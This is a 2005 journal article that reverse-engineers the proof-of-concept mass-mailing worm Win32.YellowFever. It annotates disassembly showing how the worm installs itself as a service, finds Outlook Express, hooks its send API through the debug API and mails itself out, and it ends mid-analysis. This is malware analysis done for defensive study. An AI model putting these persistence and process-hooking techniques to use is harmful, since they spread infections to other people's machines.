Vol. 2, No. 1 (2005)
http://www.CodeBreakers-Journal.com

VX Reversing III – Yellow Fever (Griyo 29a)

Eduardo Labir*

* Corresponding Author

Received: 19. Dec. 2004, Accepted: 03. Feb. 2005, Published: 10. Feb. 2005

Abstract

This article provides an in-depth analysis of the I-Worm "win32.YellowFever", by "Griyo\29A". This is a proof of concept virus, meaning it has very sophisticated features which are very hard to find in the wild. Our analysis includes: a step-by-step guide to debug it and the construction of a bait file, which we use to run it under a controlled environment. Since the virus has not been spread there is no similar description published by the Anti-Virus companies.

Keywords: *Reverse Engineering, Computer Virus, Debugger, Self-Mailing, System Services*

1. Introduction

"Win32.Dengue" by "Griyo\29A", called "YellowFever" at "29A e-zine #6", is an advanced i-worm with some really interesting features. In fact, this old i-worm is much more sophisticated than many of the 15-minute-fame ones we can see now in the wild. As you will see, nothing to be with Sasser [1] and others. In spite of its innovative techniques and quite complex programming, "YellowFever" has not received much attention at the Anti-Virus companies. This is simply because the virus has not been spread in the wild. Therefore, it is difficult to find even a few lines about it at the Anti-Virus home pages, for example [2, 3].

Our analysis shows how to do an step-by-step analysis of the virus and its techniques. Another interesting feature is the use of a home-made application, which we code with the only purpose of deceiving the worm. This paper is a natural step after [1, 4].

Short virus description: the worm installs itself as a system service. On startup, it enumerates all running applications looking for its target (Outlook). The infection procedure is very interesting: the virus has a small built-in debugger that uses to attach to the host. Next, it impersonates the host and, using its own "SMTP" engine, e-mails itself. "YellowFever" is not polymorphic but it it would be possible to add a poly-engine to it. The virus can bypass many of the user level firewalls, but it has not been coded for spreading. Of course, it has been fully written in Assembly.

Reading this article requires knowing the basics of: assembly programming, user-level debuggers and the "SMTP" protocol. See MSDN [5] and the Winsock FAQ [6] for further references.

2 Installing the Virus

We load the virus in the debugger and here we are:

```
00401000    CALL YELL0W.00401C4D
00401005    PUSH YELL0W.00402000                        ; /pModule = "KERNEL32.DLL"
0040100A    CALL <JMP.&KERNEL32.GetModuleHandleA>       ; \GetModuleHandleA
```

Note that, without decryption, there are some readable strings in the data area:

```
004020A0  00 FF FF FF FF 5B 20 59 65 6C 6C 6F 77 20 46 65       [ Yellow Fe
004020B0  76 65 72 20 42 69 6F 43 6F 64 65 64 20 62 79 20  ver BioCoded by
004020C0  47 72 69 59 6F 20 2F 20 32 39 41 20 5D 5B 20 44  GriYo / 29A ][ D
004020D0  69 73 63 6C 61 69 6D 65 72 3A 20 54 68 69 73 20  isclaimer: This
...
```

An anti-virus might use them to identify YellowFever. Hopefully they do not. This constants could be easily modified by some script-kiddy. The routine "401C4Dh" decrypts the virus code. "Edi" points to the offset where the plaintext will be put:

```
00401C4D   CLD                              ;
00401C4E   MOV ECX,100                      ; length
00401C53   MOV EDI,YELL0W.00402481          ;
...                                         ;
00401C72   LOOPD SHORT YELL0W.00401C58      ;
00401C74   RETN                             ; return from call
```

2.1 Imports Reconstruction for the virus: APIs from kernel32

Typically (see [4]), one of the first things to do in a virus is to get all the APIs it needs to interact with the system. The algorithm used in this case is a standard one, with exports table scanning and "CRC32s" for each imported API:

```
00401017     MOV DWORD PTR [4023E9],EAX   ; save image base of kernel32
0040101C     MOV EBX,EAX                  ; image base of kernel32
0040101E     MOV ECX,24                   ; number of imported APIs
00401023     MOV ESI,YELL0W.00402189      ; crc32 of the api names
00401028   MOV EDI,YELL0W.004023ED        ; buffer to place the retrieved addresses
0040102D     CALL YELL0W.00401D44         ; call FindApis
```

Have a look at the value pointed by "esi" before entering in the (so called) FindApis procedure:

```
00402189  6F 00 7A B8 9B 3A 7E 02 04 3A D1 3D 6A 13 D7 7E
00402199  C4 D7 94 D0 F2 D6 07 03 BA 70 57 D1 D4 73 01 B0
```

They look totally random, right?. This is because they are the "CRC32s" of the different APIs the virus needs to import. Debug into the call and you will find some of the constants (check issue "#1") having to be with the imports rebuilding method:

```
00401D47   MOV EAX,DWORD PTR [EBX+3C]        ; 3Ch
00401D4A   MOV EDX,DWORD PTR [EAX+EBX+78]    ; 78h
```

Taking a closer look at the (so called) FindApis procedure we have:

```
00401D5D   PUSH ESI                              ; push offset "ActivateActCtx"
00401D5E   CALL YELL0W.00401C92                  ; call CRC32String
...
00401D68   CMP EAX,EDX                           ; found?
00401D6A   JE SHORT YELL0W.00401D73              ; yes
...
00401D73   PUSH EBX                              ; hModule
00401D74   CALL <JMP.&KERNEL32.GetProcAddress>  ; get API address
```

List of APIs from kernel32

Then, it will be enough to set a bpx on "GetProcAddress" and another one somewhere after the imports reconstruction to get the full list. Mind setting the later bpx, otherwise you will run the whole virus. This is the commented full list of APIs from "kernel32":

1. File search: "FindFirstFileA", "FindNextFileA", "FindClose", "WriteFile".
2. File handling: "CopyFileA", "CreateFileA", "CreateFileMappingA", "MapViewOfFile", "UnmapViewOfFile", "CloseHandle" and "GetModuleFileNameA".
3. User-level debugger construction: "DebugActiveProcess", "ContinueDebugEvent", "WaitForDebugEvent", "GetCurrentProcessID", "FlushInstructionCache", "ReadProcessMemory", "WriteProcessMemory", "GetThreadContext" and "SetThreadContext".
4. Thread manipulation: "CreateThreadA", "WaitForSingleObject", "Sleep" and "ExitThread".
5. Memory allocation: "VirtualAlloc" and "VirtualFree".
6. Retrieve information about the current system: "GetCommandLineA", "GetComputerNameA", "GetSystemDirectoryA" and "GetVersionExA".
7. Loading a DLL: "LoadLibraryA" and "FreeLibrary".
8. Other APIs: "CreateProcessA", "DuplicateHandle", "ExitProcess" and "GetCurrentProcess".

Observe the virus has imported a group of APIs which is common in user-level debuggers implementation. The rest of APIs are very standard.

2.2 Getting system information

The next step for the the virus is to get some basic information about the system it lives in:

```
00401AA1   CALL DWORD PTR [402449]     ; kernel32.GetVersionExA
...
00401ABA   PUSH 0                      ; (path to the file which created this
process)
00401ABC   CALL DWORD PTR [40243D]     ; kernel32.GetModuleFileNameA
...
00401AD8   CALL DWORD PTR [402431]     ; kernel32.GetComputerNameA

00401AED   CALL DWORD PTR [402441]     ; kernel32.GetSystemDirectoryA
```

The virus behaviour depends on the system version, for example:

1. "Win9x": to be run on each startup, the virus adds itself to the registry key "HKLM\...\CurrentVersion\Run\".

2. "WinNT": it installs itself as a system service. This guarantees being run on each startup and also having more privileges than normal applications. Indeed, there is an Anti-virus which cannot kill "YellowFever" in memory. Amazing.

We will only concentrate on its "WinNT" variant, but the article should be a good guide for those still working under "Win9x".

2.3 Imports Reconstruction for the virus: other DLLs

When the virus has loaded all APIs from "kernel32" and knows where it lives, it can import the rest of APIs from other DLLs. Note that the loaded APIs depend on the system version. The method to load DLLs different from "kernel32" is rather unusual:

1. Create the string ""*.DLL"" dynamically. Normally, strings are kept encrypted and decrypted on the fly.

2. Enumerate all files in the system directory ending on ""DLL"".

3. For each DLL found: compute a "CRC32" of its name and compare it to a list of pre-stored values. If it matches, load the DLL and retrieve its APIs by means of FindApis (see above).

Note: you will see that the virus plays with the system directory name and does some strange comparisons. Do not pay attention on them. They will make a sense in the next section. As we mentioned, the virus first enumerates all DLLs in the system directory:

```
00401CB5   MOV EAX,YELL0W.00402A25    ; ASCII "C:\WINDOWS\System32\*.DLL"
00401CBA   PUSH EAX                   ;
00401CBB   CALL DWORD PTR [40241D]    ; kernel32.FindFirstFileA
```

The virus has stored the "CRC32s" of the DLLs it looks for and compares them to the "CRC32" of current one. Note that the DLL name is always converted to capital cases before to compute the "CRC32", just in case:

```
00401CCB   mov esi,YELL0W.00402B59      ; ASCII "msdvdopt.dll"
00401CD0   mov edi,YELL0W.00402881      ; output buffer
00401CD5   call YELL0W.00401D86         ; convert to capital cases
...                                     ;
00401C9B   inc ecx                      ; \
00401C9C   scasb                        ; | compute length of the DLL name
00401C9D   jnz short YELL0W.00401C9B    ; /
00401C9F   call YELL0W.00401C75         ; CRC32
```

This is how it goes through all dlls:

```
...
00401CE1   |CMP EDX,DWORD PTR [402A21] ; dll found?
00401CE7   |JE SHORT YELL0W.00401D05   ; yes
...
00401CF5   |CALL DWORD PTR [402421]    ; No. Try next (call kernel32.FindNextFileA)
00401CFB   |OR EAX,EAX                 ; end of search?
00401CFD   \JNZ SHORT YELL0W.00401CC   ; nop, continue searching for more dlls
00401CFF   POP EDI                    ; end of search, restore registers and return
00401D00   POP ESI
00401D01   POP ECX
```

Why all this sophistication for loading a dll?. Possibly, Griyo wants to avoid having to store the names of the DLLs into the virus. This way, he only has to go to the system directory and search until it finds a DLL matching one of the pre-computed "CRC32s". Sometimes, AVs are able to look for the encrypted strings or the encryption algorithms. Not this time.

We have to set two breakpoints: one at the end of the search, "401CFFh", and the other at the "yes found", "401D05h". When the virus finds an interesting DLL it appends its name to the system directory path and calls "LoadLibraryA":

```
00401D21   CALL DWORD PTR [40244D]      ; kernel32.LoadLibraryA
```

Next, it searches all interesting APIs at the DLLs Exports Table. The procedure to locate the APIs is the same we saw above (FindApis) .

List of APIs from user32 and wsock32

As we did for "kernel32", here is the list of APIs from both DLLs. Knowing them in advance almost provides a description of the virus.

1. APIs from "user32.dll":
    a. "EnumWindows": enumerate all GUI-based applications.
    b. "GetClassNameA": get the class name of the window for a given one.
    c. "GetWindowThreadProcessId": get the process Id of the application owning a given window.

2. APIs "wsock32.dll":
    a. "send": send bytes through a connected socket.
    b. "recv": receive bytes from a connected socket.
    c. "WSAStartup": communications initialisation.
    d. "WSACleanup": closing communications.
    e. "ioctlsocket": controls some features of a socket, for example the maximum number of bytes it can send or receive.

Some comments about the possible use of this APIs:

1. "user32" APIs: as you can see, all those APIs focus on locating an application by the name of its window class. This trick is sometimes used by VXers to find AV products and kill them. The windows message system is flawed, meaning Windows does not check who sends a given message, and this can be used to kill applications. In this case, Griyo will only use these APIs to find his target.

2. "Winsock" APIs: the virus has an internal "SMTP" engine that provides self-mailing capabilities.

Before to continue getting APIs from "advapi32", the virus makes sure that the correct version of "Winsock" is available in the current machine. If not, the virus could not be e-mailed and it does not make any sense to stick trying to infect this machine:

```
00401BB2   PUSH YELL0W.00403C54         ; pointer to data
00401BB7   PUSH 101                     ; version requested
00401BBC   CALL DWORD PTR [4029D5]      ; WS2_32.WSAStartup
00401BC2   OR EAX,EAX                   ; version supported?
00401BC4   JNZ SHORT YELL0W.00401C13    ; nope
```

List of APIs from advapi32

Finally, it retrieves the following APIs from "advapi32.dll":

1. "CloseServiceHandle"
2. "CreateServiceA"
3. "OpenSCManagerA"
4. "OpenServiceA"
5. "RegisterServiceControlHandlerA"
6. "SetServiceStatus StartServiceA"
7. "StartServiceCtrlDispatcherA"

Observe the API list. The virus will add itself as a system service. Services are run on each startup and, apart from it, normal applications cannot kill them. Two interesting features for a virus. Some other viruses use this trick as well.

2.4 Adding the new "service" to the current machine

Again, you will see some string manipulation. Let us postpone it for a while; it shall be much easier later. After it, the virus will try to copy itself to the system directory, where services need to be placed:

```
0012FFB8    00402D95  |ExistingFileName = "C:\...\YELL0W.EXE"
0012FFBC    00402C91  |NewFileName = "C:\WINDOWS\SYSTEM32\io32.EXE"
0012FFC0    00000001  \FailIfExists = TRUE
```

If the computer is already infected the call fails and the virus terminates. This explains why we have "FailIfExists = TRUE". The name of the virus is not constant, it can also be "nk32", "mj32" and others.

As we commented above, the virus has imported from "Advapi32" procedures to add a new service to the system. A service is, in plain words, a resident program that responds to different inquires from the user.

The steps for starting a new service are well documented: first in all, open the "ServiceControlManager":

```
004010B3   PUSH 2                        ; SC_MANAGER_ALL_ACCESS
004010B5   PUSH 0                        ; ServiceActive database
004010B7   PUSH 0                        ; local machine
004010B9   CALL DWORD PTR [4029A1]       ; ADVAPI32.OpenSCManagerA
004010BF   MOV DWORD PTR [4029F9],EAX    ; save returned handle
```

Now, open the service. Note that the access we request needs to match the one in the previous call. On the other hand, the name of the service is the one of the file you have copied to the system directory:

```
004010CC   PUSH 0F01FF                  ; fdwDesiredAccess = SERVICE_ALL_ACCESS
004010D1   MOV EDI,YELL0W.00402A11      ; ASCII "io32", name of the service
004010D6   PUSH EDI                     ;
004010D7   PUSH EAX                     ; handle returned by OpenSCManagerA
004010D8   CALL DWORD PTR [4029A5]      ; ADVAPI32.OpenServiceA
```

This will start the virus as a service. The virus still needs to define the parameters of the new service, for example it needs to tell the "SCM" (Service Control Manager) that this service has to be run at startup. The set-up of the service is done by "CreateService":

```
...
00401108   CALL DWORD PTR [40299D]            ; CreateServiceA
```

This API has many parameters (see "Win32.hlp"), but we are only interested in:

1. "ServiceName = io32": name of the file into the system directory.
2. "lpDisplayName = NULL": name of the service that the user will see (for example, in "TaskManager").
3. "DesiredAccess = SERVICE_ALL_ACCESS".
4. "ServiceType = SERVICE_WIN32_SHARE_PROCESS|SERVICE_INTERACTIVE_PROCESS": The second flag is to let the service to interact with the desktop.
5. "StartType = SERVICE_AUTO_START": the service will be started at system startup.

Finally, the virus starts execution of the service. We will run the service later, under a controlled environment. Therefore, replace the call by an "add esp, 0Ch" and let us see what happens next:

```
00401117   PUSH 0                        ;
00401119   PUSH 0                        ;
0040111B   PUSH EAX                      ;
0040111C   CALL DWORD PTR [4029B1]       ; ADVAPI32.StartServiceA
```

2.5 Shutting down

Job done!. The virus closes all handles, frees DLLs and exits:

```
00401128   CALL DWORD PTR [402999]           ; ADVAPI32.CloseServiceHandle
...
004011CE   PUSH 0                            ; /ExitCode = 0
004011D0   CALL DWORD PTR [402411]           ; \ExitProcess
```

Our next step is to see what the new "service" does. For this, we have two alternatives:

1. Attach to the virus after rebooting the machine. In this case, you would better patch the virus so it gets into an infinite loop at the very beginning.

2. Start the copy of the virus at the system directory with a debugger and try to fool it. Mind the virus believes it is a service.

The second way is the best one. Hands on.

3. Manually "starting" the service

Service installation has required adding some keys to the registry (use regedit to find them) and copying the virus to the system directory. Remember to get rid of these all after studying the virus.

The service does not run in ring-0 and therefore has not any special privilege we do not have as admin. Note that the we are going to debug the copy of the virus at the system directory. Thus, there are not so many differences to care about. Let us start:

```
00401000   CALL nk32.00401C4D                    ; little decryption algorithm
00401005   PUSH nk32.00402000                    ; /pModule = "KERNEL32.DLL"
0040100A   CALL <JMP.&KERNEL32.GetModuleHandleA> ; \GetModuleHandleA
...
```

Now, as we know, comes the imports reconstruction and some calls to get information about the system: system version, computer name, path to the file which created this process and system directory. Everything goes exactly as we saw above. In the previous section, we omitted some string manipulations arguing they would be easier to understand now. Let us see what we meant:

```
00401053   MOV ESI,nk32.00402D95       ;  ASCII "C:\WINDOWS\SYSTEM32\nk32.EXE"
00401058   MOV EDI,nk32.00402881       ;  ASCII "C:\WINDOWS\SYSTEM32\ADVAPI32.DLL"
0040105D   PUSH EDI                    ;
0040105E   CALL nk32.00401D86          ;
...
00401081   CMP EAX,EDX                 ; compare CRC32 of both paths
00401083   JE nk32.004011D6            ;
```

The virus takes the path to the current program and compares it to the path to the service, which is constructed concatenating the name of the service to the system directory. If they agree then it runs as a service. After checking whether it is a service or not, the virus will retrieve the command line:

```
004011E4   CALL DWORD PTR [40242D]       ; kernel32.GetCommandLineA
```

And later it will start the service dispatcher:

```
0040121F   CALL DWORD PTR [4029B5]       ; ADVAPI32.StartServiceCtrlDispatcherA
```

The only parameter of "StartServiceCtrlDispatcherA" is a pointer to the Service Table, which describes the service. In this case we have "pServiceTable = 402A10h", pointing to:

```
dd 402A11
dd 401232
dd 0
dd 0
```

If you review "win32.hlp" you will see that this is a "NULL" terminated array of "SERVICE_TABLE_ENTRY" elements, each one has two fields:

1. "lpServiceName": pointer to the service name, "io32" in this case.
2. "lpServiceProc": pointer to the service procedure. The service procedure is similar to the "EntryPoint" of a DLL.

In our case, the name of the service is "io32" and the entry point of the handler "401232h". The simplest thing to do here is to substitute the call to "StartServiceCtrlDispatcherA" by a call to the dispatcher itself. This way, we can run its code and analyse it:

```
0040121F   CALL DWORD PTR [4029B5]       ; replace by call 401232
```

Note that this is possible because the virus does not run at "ring-0". A very different problem would be to debug a kernel-driver virus. Anyway, we are at the start of the service:

```
00401232   pushad
00401233   mov eax,io32.00401260
```

The service saves all registers and then calls "RegisterServiceCtrlHandlerA". This registers its own handler, which should be later called by the applications requesting some service from it:

```
00401239  MOV EAX,io32.00402A11     ; ASCII "io32" (name of service)
0040123E  PUSH EAX                  ; address of handler
0040123F  CALL DWORD PTR [4029A9]   ; ADVAPI32.RegisterServiceCtrlHandlerA
```

Substitute the previous call by an "add esp, 8". This equilibrates the stack and let us to continue. Note: this is the same than emulators do with known calls. The service name is "io32" and the address of the handler is "401260h". This handler only consists of two instructions:

```
00401260  ADD ESP,4
00401263  RETN
```

Therefore, a do nothing handler. The service simply returns when is called. In fact, the service will not be called by any program, because the virus does not worry about it and the rest of applications do not know its existence. Now the service informs the system that it is active and can be called:

```
00401249  PUSH io32.00402089         ; status information
0040124E PUSH EAX                   ; handle returned by RegisterServiceCtrlHandlerA
0040124F  CALL DWORD PTR [4029AD]    ; ADVAPI32.SetServiceStatus
```

Note: again, substitute the previous call by "add esp, 8".

As we said, this service consists of a do-nothing procedure which will not be called by any application. This guarantees that the service will run until the system is shut down. On the other hand, the "main" of the service works independently of the handler. Its work is to infect the system:

```
00401259  CALL io32.00401298          ; call InfectSystem
```

4. Finding the target

This is the beginning of the so called "InfectSystem" procedure. The first instructions only get the pointer to the PE header for "wsock32". Later, we will see that it needs this value to hook the APIs in the target process:

```
...
00401298  MOV EAX,DWORD PTR [4029C9]         ; image base of wsock32
0040129D  MOV ESI,DWORD PTR [EAX+3C]
004012A0  ADD ESI,EAX
```

The virus is going to send itself by e-mail. Therefore, it needs to manipulate (encode) a copy of itself in memory that will be attached to the mails:

```
...
004012C4  PUSH io32.00402C91         ; FileName = "C:\WINDOWS\SYSTEM32\io32.EXE"
004012C9  CALL DWORD PTR [4023F9]    ; CreateFileA
...
004012DF  PUSH EAX                   ; hFile
004012E0  CALL DWORD PTR [4023FD]    ; CreateFileMappingA
...
004012F4  PUSH EAX                   ; hMapObject
004012F5  CALL DWORD PTR [402451]    ; MapViewOfFile
```

Now, the virus allocates some memory and overwrites it with the word "0DA0h" (this is "CTRL-F", used to format lines into "SMTP" protocols):

```
...
00401313  CALL DWORD PTR [402465]   ; VirtualAlloc
...
0040132A  MOV AX, 0A0D              ; Fill with CTRL-F
0040132E  REP  STOS WORD PTR [EDI]  ;

00401332  call mj32.00401877        ; EncodeVirus
```

As you can see, the virus has allocated a buffer, filled it with "CTRL-F" and encoded there the virus body ("edi" points to the "MZ" header before the call). The encoding algorithm is, most likely, "BASE64". We know it because: first, this is a common algorithm used to send mails. Second and last, the next string was visible in the data section at the very beginning, before the first decryption:

```
00402040                          41 42 43 44 45 46 47 48          ABCDEFGH
00402050  49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58  IJKLMNOPQRSTUVWX
00402060  59 5A 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E  YZabcdefghijklmn
00402070  6F 70 71 72 73 74 75 76 77 78 79 7A 30 31 32 33  opqrstuvwxyz0123
00402080  34 35 36 37 38 39 2B 2F                              456789+/
```

Exactly 64 different characters, the ones appearing in the encoded virus. After this, the virus closes all unnecessary handles:

```
00401337     CALL DWORD PTR [402461]      ; UnmapViewOfFile
0040133D     CALL DWORD PTR [4023ED]      ; CloseHandle
00401343     CALL DWORD PTR [4023ED]      ; CloseHandle
```

Here begins the real fun: the virus creates a new thread. This does not mean this is a multi-threaded application. In fact, threads are used only to never stop looking for its target. The new thread will be in charge of locating, debugging and hooking the victim:

```
0040136C    push eax                        ; ThreadFunction = 4013AA
...                                         ;
0040136F    call dword ptr [402405]         ; CreateThread
```

The thread creation is included in the following loop:

```
00401349    /xor eax,eax
0040134B    |mov dword ptr [402FC5],eax
...
0040136F    |call dword ptr [402405]         ; CreateThread
...
0040137C    |call dword ptr [402471]         ; WaitForSingleObject
00401382    \jmp short io32.00401349
```

We simply set a bpx at the beginning of the thread, "4013AAh", and let the virus run. Sooner or later the debugger will be prompted there. Then, you can patch the main thread so it does not interfere with more calls to "CreateThread".

As we are going to see, the thread is going to enumerate all windows in the desktop. The virus compares the hash of the class name of each found window with a pre-stored value. Thus, it is impossible to know in advance what it is looking for. There are two alternatives:

1. Patch the virus so it admits any application having some characteristics (for a start, it should be able to send mails).
2. Try our luck: most likely, the virus is looking for "IExplorer", "Eudora", "Outlook"… Fire them up and see what happens.

The second approach makes easy to identify the target: Outlook. Let us have a look at how the windows enumeration works. The method is interesting because is also present in some anti-cracking protections:

```
004013BA    push eax                        ; |Callback => io32.0040194B
004013BB    call dword ptr [402989]         ; \EnumWindows
```

"EnumWindows" defines a recursive procedure, see the parameter "callback", which is called until no more windows are found. The "callback" receives a handle to the current window and, after checking it, has to decide whether it continues the enumeration or stops. To cover all cases, we set a bpx at the start of the "callback" procedure and another one after the call to "EnumWindows":

```
0040194B    mov eax,dword ptr [esp+4]       ; start of CallBack procedure
0040194F    push ebx
```

The "CallBack" procedure gets the class name, hashes it and compares the hash to a given value. If they are not equal then it continues with the enumeration. Otherwise, it gets the "Process Id" of the current application and terminates:

```
0040195D    push eax                          ; hWnd
0040195E    call dword ptr [40298D]           ; GetClassNameA

00401968    call mj32.00401C92                ; compute hash
0040196D    cmp edx,0CFA7A89                  ; compare to target
00401973    jnz short mj32.0040198E           ;

; if found, get pId and return

0040197A    push eax                          ; /pProcessID => mj32.00402FC5
0040197B    push edi                          ; |hWnd
0040197C    call dword ptr [402991]           ; \GetWindowThreadProcessId
00401982    mov dword ptr [402FC9],eax
```

5. Deceiving the virus

What we are going to do is to create a small windows based application which hijacks the windows class name of Outlook. This way, the virus will detect our application and will try to infect it. Note that there is no need to have the actual target running, which could be very dangerous. The only inconvenient is that we need to send mails, because the virus is a self-mailing one.

The class name the virus looks for is "Outlook Express Browser Class". To know the class name of an application run it under Olly and see the list of windows. The code of our fake Outlook, with explanations, has been included in the Appendix. Have a look at it before the next section.

6. Hooking the target

The virus is going to attach to our fake Outlook. This provides it a lot of information about it: loaded DLLs, existing threads, exceptions,\dots. If you have never debugged a debugger this is a nice chance to start. Please, note this is not a tutorial on how to build a user level debugger, consult "win32.hlp" for details.

The first step, given the "ProcessId", is to call "DebugActiveProcess". This attaches to the target application:

```
004013D8    push esi                          ; /ProcessId = 3CC
004013D9    call dword ptr [402409]           ; \DebugActiveProcess
```

Now, you have to enter into an infinite loop that awaits for the debug events and replies accordingly:

```
004013F2    call dword ptr [40246D]           ; WaitForDebugEvent
```

Well, let us have a look at what the virus does for each debug event. Consult "win32.hlp" and you will see the following events defined:

```
EXCEPTION_DEBUG_EVENT               equ 1
CREATE_THREAD_DEBUG_EVENT           equ 2
CREATE_PROCESS_DEBUG_EVENT          equ 3
EXIT_THREAD_DEBUG_EVENT             equ 4
EXIT_PROCESS_DEBUG_EVENT            equ 5
LOAD_DLL_DEBUG_EVENT                equ 6
UNLOAD_DLL_DEBUG_EVENT              equ 7
OUTPUT_DEBUG_STRING_EVENT           equ 8
RIP_EVENT                           equ 9
```

Some of this cases are distinguished in a switch inside the virus:

```
00401402      cmp eax,1
00401405      je mj32.0040153D
0040140B      cmp eax,2
0040140E      je mj32.0040149C
00401414      cmp eax,3
```

The first debug event we receive is a "CREATE_PROCESS_DEBUG_EVENT". This is always received, therefore not very interesting for a virus. In this case, YellowFever duplicates the handle to the main thread of the target application, manipulates a list and continues. To continue the debuggee one always has to call "ContinueDebugEvent" and go to await another event:

```
00401442      push edx                        ; |ProcessId = 6A0
00401443      call dword ptr [4023F1]         ; \ContinueDebugEvent
...
004013F2      call dword ptr [40246D]         ; WaitForDebugEvent
```

Now, we receive a "LOAD_DLL_DEBUG_EVENT". This informs the debugger about a new loaded DLL. The virus reads the image base of the DLL, which is sent to the debuggee in the information associated to the debug event, and compares it to the one of Wsock32. If they do not match, it simply goes to await another event:

```
004019A4      mov ebx,eax                     ;  ntdll.77F40000
004019A6      cmp ebx,dword ptr [4029C9]      ;  WSOCK32.#1139
004019AC      jnz short mj32.00401A0E         ;
```

You will see several more DLLs until "wsock32" is loaded. Then, it reads "e_lfanew" at the "PE-header" of the target process:

```
...
00401A4C      push eax                         ; |pBaseAddress = 71A5003C
00401A4D      push dword ptr [402FCD]          ; |hProcess = 0000006C
00401A53      call dword ptr [402455]          ; \ReadProcessMemory
```

And, with this information, moves to read a piece of the "IMAGE_OPTIONAL_HEADER32":

```
00401A4A      push ecx                         ; |BytesToRead  = 14
...
00401A4C      push eax                         ; |pBaseAddress = 71A500D8
...
00401A53      call dword ptr [402455]          ; \ReadProcessMemory
```

Actually, "wsock32" is always loaded at the same image base in all processes in the same Operating System. Thus, retrieving this information is a loss of time. Anyway, this would let to generalise this hooking procedure for other DLLs:

```
00401A4A      push ecx                        ; |BytesToRead  = 1
...
00401A4C      push eax                        ; |pBaseAddress = 71A31AF4
...
00401A53      call dword ptr [402455]         ; \ReadProcessMemory
```

"71A31AF4h" is the address of "WS2_32.send", the API to send information through a communication socket. To hook this API, the virus only needs to overwrite its first byte with an "int3". This way, every time the API is called the virus will receive an "EXCEPTION_DEBUG_EVENT":

```
...
00401A73      call dword ptr [402479]         ; WriteProcessMemory
```

After hooking the API, the virus awaits the next event. It receives more events corresponding to loaded DLLs and also a "CREATE_THREAD_DEBUG_EVENT", which corresponds to the creation of the primary thread. This event is not interesting at all. We want to know what the virus does when it receives the "int3" above.

7. Self-mailing

In this last part of the virus analysis we will try to understand how the self-mailing mechanism works. For now, the virus has attached to the target process and has hooked the entry point of the API "WS2_32.send", which is used to send information through a socket. Please, review the basics of Winsock programming in case you need it.

Finally, we receive the first "EXCEPTION_DEBUG_EVENT". Note that this exception is always at "NTDLL.DebugBreak", because the application is being debugged. Thus, the user-level debugger needs to discard those "int3" not taking place at the "EntryPoint" of the hooked API. The following switch checks the exception code:

```
0040153D    mov eax,dword ptr [esi+8]   ; read exception code
00401540    cmp eax,80000004            ; STATUS_SINGLE_STEP
00401545    je short io32.00401558
00401547    cmp eax,80000003            ; STATUS_BREAKPOINT
0040154C    je short io32.004015A0
0040154E    mov ecx,80010001            ; DBG_EXCEPTION_NOT_HANDLED
00401553    jmp io32.00401436
```

So, the virus handles "int1", "int3" and unhandled exceptions. Why so many ones?. We will see it in a few minutes.

Now, the virus enters into the case "int3" and checks the address where the exception has taken place. If this is not the "EntryPoint" of "WS2_32.send" the exception is ignored and it waits for the next one::

```
004015A6      mov edi,dword ptr [esi+14]   ; ntdll.DbgBreakPoint
004015A9      cmp edi,dword ptr [4029CD]   ; WS2_32.send
004015AF      jnz short mj32.004015D5
```

Note: here you will receive an "EXIT_THREAD_DEBUG_EVENT". This is totally irrelevant. We omit it for not to make a mess with the rest of the analysis.

The virus receives another "int3", but this time it has taken place at "WS2_32.send" and it will be handled. Let us see the steps the virus takes when this happens:

1. Read the context of the thread in the target which has provoked the exception:

```
004015C9      call dword ptr [402445]       ; GetThreadContext
```

2. Reads the value of "Cx_Esp" from the context of the offending thread. This lets the virus to know the parameters of the call:

```
0040183C      mov eax,dword ptr [edi+C4]    ; address in target (Cx_Esp)
00401842      mov ecx,14                    ; number of bytes to read
00401847      mov esi,mj32.0040385A         ; buffer
0040184C      call mj32.00401A42            ; ReadTargetMemory
```

   Note: see the context structure at "windows.inc" to check that "Cx_Esp" is actually at displacement "0C4h".

3. Read the data sent by the target application. As you can see, the second parameter of "WS2_32.send" is a pointer to the buffer containing the data. This can be found at "[esp+8]", its length is at "[esp+0Ch]":

```
00401855      mov ecx,dword ptr [esi+C]         ; read length of data
00401858      jecxz short mj32.00401874         ; check length
0040185A      cmp ecx,100                       ;
00401860      jnb short mj32.00401874           ;
00401862      mov eax,dword ptr [esi+8]         ; read pointer to data
00401865      mov esi,mj32.00403B54             ; buffer to store the data
0040186A      call mj32.00401A42                ; ReadTargetMemory
```

The virus knows now what the virus is sending. The next step is to modify the message so it contains a copy of the worm as attachment. At this point, it is recommendable to read the "RFC" of the "SMTP" protocol.

The virus computes a hash of the first "dword" of the data to some magic values:

```
004015EC      call mj32.00401C75        ; hash
...
004015F3      cmp edx,D15EC8BC
004015F9      je short mj32.00401637
004015FB      cmp edx,6A304C39
00401601      je short mj32.00401656
00401603      cmp edx,3DDCB44E
00401609      je short mj32.00401675
```

This three cases need to be common headers sent along the "SMTP" protocol. Our fake Outlook sends a complete mail and, therefore, the virus should happily find all cases now. As you can well imagine, the virus will modify the protocol adding the "MIME" headers and the "BASE64"-encoded virus body.

If non of the previous cases is detected the virus sets the trap flag and makes "Cx_Eip" to go back one instruction:

```
0040160D      dec dword ptr [edi+B8]            ; move Cx_Eip to WS2_32.send
00401613      or dword ptr [edi+C0],100         ; set trap flag
...                                             ;
0040161F      call dword ptr [402459]           ; kernel32.SetThreadContext
```

Next, it replaces the int3 with the original instruction:

```
00401625      mov edi,dword ptr [4029CD]         ; write to WS2_32.send
0040162B      mov esi,mj32.00402FE9              ; read from
00401630      call mj32.00401A32                 ; WriteTargetMemory
```

Therefore, the original instruction will be run and then the virus will receive an "EXCEPTION_SINGLE_STEP". Then, the virus can take advantage to hook again the API, overwriting its first instruction with an int3. Apart from it, the virus has to clear the trap flag so execution can continue. Note that, without this trick, we would loose the hook in the first API call.

```
00401558      mov edi,dword ptr [4029CD]         ; WS2_32.send
0040155E      call mj32.00401A1B                 ; hook API (writes an int3)
...
0040157E      push esi                           ; |hThread
0040157F      call dword ptr [402445]            ; \GetThreadContext
...
00401589      and dword ptr [edi+C0],FFFFFEFF    ; clear TF
...
00401595      call dword ptr [402459]            ; SetThreadContext
...
00401443      call dword ptr [4023F1]            ; ContinueDebugEvent
```

The target sends the data through the socket and moves to send the next part of the mail. Therefore, the virus will be eventually called. The next piece of the mail that the fake Outlook sends is:

```
00403B54  4D 41 49 4C 20 46 52 4F 4D 3A 20 3C 59 65 6C 6C  MAIL FROM: <Yell
00403B64  6F 77 46 65 76 65 72 40 32 39 41 2E 63 6F 6D 3E  owFever@29A.com>
